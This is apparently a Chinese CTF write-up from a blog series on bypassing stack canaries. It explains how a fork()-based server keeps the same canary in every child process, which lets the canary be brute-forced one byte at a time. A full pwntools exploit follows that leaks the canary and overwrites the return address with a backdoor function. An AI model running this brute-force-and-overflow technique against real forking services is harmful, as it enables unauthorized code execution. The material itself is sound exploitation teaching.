利用fork()获取Canary#

核心原理#

fork()是一个系统调用，它的作用是“复制”当前进程，创建一个全新的、几乎一模一样的子进程。

关键特性：
- 子进程是父进程的副本，它们有各自独立的内存空间。
- 对于Canary来说，最关键的一点是： 在 fork()出来的父子进程中，Canary的值是相同的

因为Canary在每次 fork()后是固定的，而我们可以通过让程序崩溃来获取信息，这就为我们爆破提供了可能。

Canary通常是一个4字节（32位程序）或8字节（64位程序）的值，最低位通常是**\x00**

所以，我们需要爆破的是剩下的3个或7个字节。

核心思想： 我们无法一次性猜出整个Canary，但我们可以一个字节一个字节地猜。因为父子进程Canary相同，我们可以通过子进程是否崩溃来推断我们猜的字节是否正确

我们可以用这样的一个循环来爆破，从**\x00到\xFF**最大需要尝试256次

1
for i in range(需要爆破的字节数):
2
  for byte in range(256):

然后接收反馈的信息，通常错误的Canary会反馈 *** stack smashing detected ***:./pwn（程序名） terminated

1
if b'*** stack smashing detected ***' in response:
2
  continue
3
if b'正常反馈' in response:
4
  canary += bytes([byte])
5
  break

打远程的时候最好添加一个 sleep，执行起来更顺畅

看这道例题

IDA分析一下

可以看到fork的进程会调用 kid函数，这个函数没有可用的漏洞点

再看kid函数

很明显的栈溢出漏洞

那么思路就是用one-by-one爆破出Canary，再用栈溢出覆盖返回地址为 backdoor的地址

这里引用一位师傅的提醒

Note

在利用 fork() 爆破canary的时候，需要特别注意 send，sendline的区别，理解不同的发送方式可能会造成的逻辑混乱，请阅读这篇文章。

以及，如果用 chr(num).encode()的形式将数字转换成字节的话，会存在当 num>0x7f后，encode后会变成两个字节的问题，因此，不要用这种方式转换，可以用 bytes([i])的形式。

最后得出exp：

1
from pwn import *
2
context.arch = 'i386'
3
context.log_level = 'debug'
4
#p = process('./canary3')
5
p = remote('ip',port)
6

7
door = 0x8049321
8

9
p.recvuntil(b'please:\n')
10
p.send(b'joker233')
11

12
canary_bytes = b'\x00'
13

14
for i in range(3):
15
  for byte in range(256):
16
    p.recvuntil(b'\n')
17
    payload = b'A'*30 + canary_bytes + bytes([byte])
18
    p.send(payload)
19
    response = p.recvuntil(b'\n')
20
    if b'*** stack smashing detected ***' in response:
21
      continue
22
    if b'DO MORE ?' in response:
23
      canary_bytes += bytes([byte])
24
      break
25
canary = u32(canary_bytes)
26
success(f'Canary is :{hex(canary)}')
27

28
pay2 = b'A'*30 + p32(canary) + b'B'*8 + b'C'*4 + p32(door)
29
p.send(pay2)
30

31
p.interactive()

音乐

音乐

利用fork()获取Canary#

核心原理#

支持与分享

评论区

音乐

目录

音乐

音乐

Canary绕过专题(3)——One-By-One爆破

利用fork()获取Canary#

核心原理#

支持与分享

评论区

音乐

目录